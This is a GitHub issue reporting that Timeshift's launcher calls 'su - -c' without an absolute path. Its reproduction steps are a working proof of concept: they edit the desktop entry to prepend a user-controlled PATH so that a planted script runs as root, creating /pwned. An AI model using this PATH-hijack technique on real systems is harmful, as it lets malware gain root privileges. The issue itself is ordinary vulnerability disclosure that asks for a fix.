Skip to content

Unsafe su - -c usage #516

@parov0z

Description

@parov0z

Describe the bug
First of all, running GUI Applications as root should be avoided when possible.
But when needed, it at least should be safe.

To Reproduce
Steps to reproduce the behavior:

  1. Login as a regular user
  2. Execute the following:
cp /usr/share/applications/timeshift-gtk.desktop .local/share/applications/

sed -i "s|timeshift-launcher|env PATH=/home/`whoami`/.local/bin:\$PATH timeshift-launcher|" .local/share/applications/timeshift-gtk.desktop 

update-desktop-database .local/share/applications

cat << EOF > .local/bin/timeshift-gtk                                                       
#!/bin/bash
touch /pwned                           
EOF   

chmod +x .local/bin/timeshift-gtk
  1. Now instead of launching timeshift, user will grant root permision to any possible malware
    Now try it yourself
    ls /pwned

Expected behavior
An absolute path should be used in timeshift-launcher to avoid security issue

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions